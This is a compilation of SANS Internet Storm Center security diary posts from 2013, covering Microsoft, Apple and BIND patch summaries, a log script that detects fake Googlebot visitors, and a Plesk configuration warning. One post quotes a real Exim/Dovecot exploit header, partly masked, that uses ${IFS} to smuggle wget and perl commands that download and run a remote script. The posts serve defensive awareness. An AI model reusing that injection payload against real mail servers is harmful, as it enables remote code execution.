Latest Alerts

Microsoft Security Advisory 2854544 was released today. It adds functionality to manage and use Cetificate Trutst Lists. 

Microsoft released a few days ago a fixit to allow one to control the availability of the java plug in in MSIE.

--
Swa Frantzen -- Section 66

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Overview of the June 2013 Microsoft patches and their status.

# Affected Contra Indications - KB Known Exploits Microsoft rating(**) ISC rating(*) clients servers MS13-047 The usual monthly MSIE cumulative patch, adding fixes for a bunch more vulnerabilities. All but one are memory corruption vulnerabilities. The odd one is an information leak. MSIE

CVE-2013-3110
CVE-2013-3111
CVE-2013-3112
CVE-2013-3113
CVE-2013-3114
CVE-2013-3116
CVE-2013-3117
CVE-2013-3118
CVE-2013-3119
CVE-2013-3120
CVE-2013-3121
CVE-2013-3122
CVE-2013-3123
CVE-2013-3124
CVE-2013-3125
CVE-2013-3139
CVE-2013-3141
CVE-2013-3142 KB 2838727 No publicly known exploits Severity:Critical
Exploitability:1 Critical Important MS13-048 A kernel memory information leak vulnerability. kernel

CVE-2013-3136 KB 2839229 No publicly known exploits Severity:Important
Exploitability:3 Important Less urgent MS13-049 A vulnerability in the implementation of TCP/IP allows for a TCP connection to cause the system to stop responding. TCP/IP

CVE-2013-3138 KB 2845690 No publicly known exploits. Severity:Important
Exploitability:3 Important Critical MS13-050 Privilege excalation vulnerability when deleting a printer connection. Print spooler

CVE-2013-3139 KB 2839894 No publicly known exploits Severity:Important
Exploitability:1 Important Important MS13-051 A memory corruption vulnerability allows random code execution in the context of the current user due to failure to properly handle PNG images.
Note it also affects Office for Mac 2011. Office

CVE-2013-1331 KB 2839571 Microsoft claim this is being exploited in "targeted attacks". Severity:Important
Exploitability:1 Critical Important We will update issues on this page for about a week or so as they evolve.
We appreciate updates
US based customers can call Microsoft for free patch related support on 1-866-PCSAFETY (*): ISC rating

• We use 4 levels:
  • PATCH NOW: Typically used where we see immediate danger of exploitation. Typical environments will want to deploy these patches ASAP. Workarounds are typically not accepted by users or are not possible. This rating is often used when typical deployments make it vulnerable and exploits are being used or easy to obtain or make.
  • Critical: Anything that needs little to become "interesting" for the dark side. Best approach is to test and deploy ASAP. Workarounds can give more time to test.
  • Important: Things where more testing and other measures can help.
  • Less Urgent: Typically we expect the impact if left unpatched to be not that big a deal in the short term. Do not forget them however.
• The difference between the client and server rating is based on how you use the affected machine. We take into account the typical client and server deployment in the usage of the machine and the common measures people typically have in place already. Measures we presume are simple best practices for servers such as not using outlook, MSIE, word etc. to do traditional office or leisure work.
• The rating is not a risk analysis as such. It is a rating of importance of the vulnerability and the perceived or even predicted threat for affected systems. The rating does not account for the number of affected systems there are. It is for an affected system in a typical worst-case role.
• Only the organization itself is in a position to do a full risk analysis involving the presence (or lack of) affected systems, the actually implemented measures, the impact on their operation and the value of the assets involved.
• All patches released by a vendor are important enough to have a close look if you use the affected systems. There is little incentive for vendors to publicize patches that do not have some form of risk to them.

(**): The exploitability rating we show is the worst of them all due to the too large number of ratings Microsoft assigns to some of the patches.

--
Swa Frantzen -- Section 66

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Like many other exploit scripts, the recent "Plesk" exploit used a fake user agent of "Googlebot". Attackers assume that most web applications are happy to be indexed by Google and possibly ably no or less stringent filters. For example, some applications will show more content to Google that is not readily displayed to normal users unless these users sign up, solve a captcha or even pay.

Google however makes it pretty easy to distinguish "real" Google bots from fake once. The IP address used by Google will reverse resolve to crawl-a-b-c-d.googlebot.com, where a-b-c-d is the IP address of the bot. In addition, this host name will resolve to the IP address used. In order to validate if a google bot is "real", the lookup against .googlebot.com is required. An attacker could fake the reverse lookup if the attacker can provide reverse DNS for the IP address used by the attacker.

Personally, I use  a little shell script to extract "fake google" spiders from my logs:

 

#!/bin/sh   # you may need to adjut the "cut" parameter and file name to match your own log format. for b in `grep 'Googlebot' /var/log/httpd/*access_log | cut -f 2 -d' ' | sort -u`; do   h=`host $b`   if echo $h | grep -e ' crawl-.*\.googlebot\.com\.$'; then     h=`echo $h | cut -f5 -d' '`     n=`host $h | cut -f4 -d' '`     if [ "$n" = "$b" ] ; then       echo ok $n $h $b     else       echo fake $b;     fi   else     echo fake $b;   fi done

 

 

------

Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Like many other exploit scripts, the recent "Plesk" exploit used a fake user agent of "Googlebot". Attackers assume that most web applications are happy to be indexed by Google and possibly ably no or less stringent filters. For example, some applications will show more content to Google that is not readily displayed to normal users unless these users sign up, solve a captcha or even pay.

Google however makes it pretty easy to distinguish "real" Google bots from fake once. The IP address used by Google will reverse resolve to crawl-a-b-c-d.googlebot.com, where a-b-c-d is the IP address of the bot. In addition, this host name will resolve to the IP address used. In order to validate if a google bot is "real", the lookup against .googlebot.com is required. An attacker could fake the reverse lookup if the attacker can provide reverse DNS for the IP address used by the attacker.

Personally, I use  a little shell script to extract "fake google" spiders from my logs:

 

#!/bin/sh   # you may need to adjut the "cut" parameter and file name to match your own log format. for b in `grep 'Googlebot' /var/log/httpd/*access_log | cut -f 2 -d' ' | sort -u`; do   h=`host $b`   if echo $h | grep -e ' crawl-.*\.googlebot\.com\.$'; then     h=`echo $h | cut -f5 -d' '`     n=`host $h | cut -f4 -d' '`     if [ "$n" = "$b" ] ; then       echo ok $n $h $b     else       echo fake $b;     fi   else     echo fake $b;   fi done

 

 

------

Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server.  The exploit partially looked like this:

From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com

(Obviously edited for your safety, and I didn't post the whole thing.)

This is an exploit against Dovecot that is using the feature "use_shell" against itself.  This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration.  We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter.  Or if you are, make darn sure you know what you are doing, and how to defend yourself.

-- Joel Esler | http://blog.joelesler.net | http://twitter.com/joelesler

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

At a community college where I'm helping out whenever they panic on security issues, I recently was confronted with the odd reality of a lingering malware infection on their network, even though they had deployed a custom anti-virus (AV) pattern ("extra.dat") to eradicate the problem. Of course, these days, reliance on anti-virus is somewhat moot to begin with, our recent tally of fresh samples submitted to VirusTotal had AV lagging behind about 8 days or so. If you caught a keylogger spyware, 8 days is plenty to wreak havoc. I usually compare today's AV to the coroner in CSI, he can probably tell what killed you, but won't keep you alive.

But back to the college. Turns out they verify on a weekly basis if all the PCs have a current pattern, and they also verified that all their PCs got the "extra" pattern. The only problem was, their definition of "all" relied on the AV-tool itself. Obviously, if a PC doesn't have anti-virus installed, it won't show up on the anti-virus console. Hence, if your AV claims you have 100% compliance, you might want to check an alternate repository, like for example your Active Directory, to compare numbers. When I ran this test at the college, I found that their network/AD had 51 more workstations than their AV knew about. No wonder they still had frequent hits on the IDS for the backdoor traffic.

Never rely on a single security tool to tell you that everything is fine. Throw two or more sets of data against each other, and investigate discrepancies. Like your fishing or drinking or training buddy, security tools lie. Get acquainted with the usual pattern of lies (or obfuscated truths :), and surprises and disappointments will become less frequent.

 

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Yesterday, a poster to the full disclosure mailing list described a possible new 0-day vulnerability against Plesk. Contributing to the vulnerability is a very odd configuration choice to expose "/usr/bin" via a ScriptAlias, making executables inside the directory reachable via URLs.

The big question that hasn't been answered so far is how common this configuration choice is. Appaerently, some versions of Plesk on CentOS 5 are configured this way, but not necessarily exploitable. The exploit is pretty easy to spot. It sends a heavily URL encoded POST request with a "Googlebot" user agent. Google typically doesn't send POST requests, so they are pretty easy to spot. I found a couple POSTS from "Google" (actually a "random" Chinese IP address, 222.187.222.122 ) in our web logs here.

Masquearding as Google is a common trick among exploit scripts. 

Please verify that your Apache configuration does NOT include this line:

 

ScriptAlias /phppath/ "/usr/bin/"

 

Let us know if you spot it in the wild.  

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Today BIND9 recevied an update fixing a "recursive resolver with a RUNTIME_CHECK error in resolver.c" [1] Affected versions are BIND 9.6-ESV-R9, 9.8.5, and 9.9.3. The rated CVSS on this one is 7.8 [1,2]   To quote isc.org:   "At the time of this advisory no intentional exploitation of this bug has been observed in the wild. However, the existence of the issue has been disclosed on an open mailing list with enough accompanying detail to reverse engineer an attack and ISC is therefore treating this as a Type II (publicly disclosed) vulnerability, in accordance with our Phased Disclosure Process."   It it is time to review those BIND9 servers and start the process of patching.   [1] https://kb.isc.org/article/AA-00967 [2] http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2&vector=(AV:N/AC:L/Au:N/C:N/I:N/A:C)

Richard Porter

--- ISC Handler on Duty

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Richard Porter --- ISC Handler on Duty

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Richard Porter --- ISC Handler on Duty

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Apple released the next update for OS X, 10.8.4. Eventually, we should learn more about the security content of the update, but at this point, the security page has not been updated yet [1]. 

However, Apple did distribute a list of patched vulnerabilities via e-mail (thanks Dave for sharing). The update fixes a total of 33 vulnerabilities. Here are some of the highlights:

 

OS 10.8.4 Update Overview   CVE # Component Affected Versions   2013-0982 CFNetwork 10.8 - 10.8.3 data leakage (authentication cookies) 2013-0983 CoreAnimation 10.8 - 10.8.3 code execution 2013-1024 CoreMedia 10.7-10.7.5 (Server
10.8-10.8.3 code execution 2013-5519 CUPS 10.8-10.8.3 priv. escalation 2013-0984 Directory Service 10.6.8 remote code execution as system 2013-0985 Disk Management 10.8-10.8.3 data leakage (disable file vault) 2012-4829 OpenSSL 10.6.8, 10.7-10.7.5, 10.8-10.8.3 data leakage ("CRIME" attack) multiple OpenSSL 10.6.8, 10.7-10.7.5, 10.8-10.8.3 DoS, data leakage 2013-0987 QuickTime QTIF Files 10.6.8, 10.7-10.7.5, 10.8-10.8.3 code execution 2013-0988 QuickTime FPX Files 10.6.8., 10.7-10.7.5, 10.8-10.8.3 code execution 2013-0989 QuickTime MP3 Files 10.8-10.8.3 code execution multiple Ruby on Rails 10.6.8 code execution (EXPLOITED) 2013-0990 SMB 10.7-10.7.5, 10.8-10.8.3 authenticated user may write files outside of shared directory

Other changes:

Gatekeeper will check downloaded JNLP applications and may require a valid developer ID certificate.

In addition, this update includes Safari 6.0.5 with various improvements / security fixes not listed here. 

Safari 6.0.5 patches a total of 23 arbitrary code execution vulnerabilities, two cross site scriting issue and one problem with the XSS Auditor that may cause form submissions to be altered.

 

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.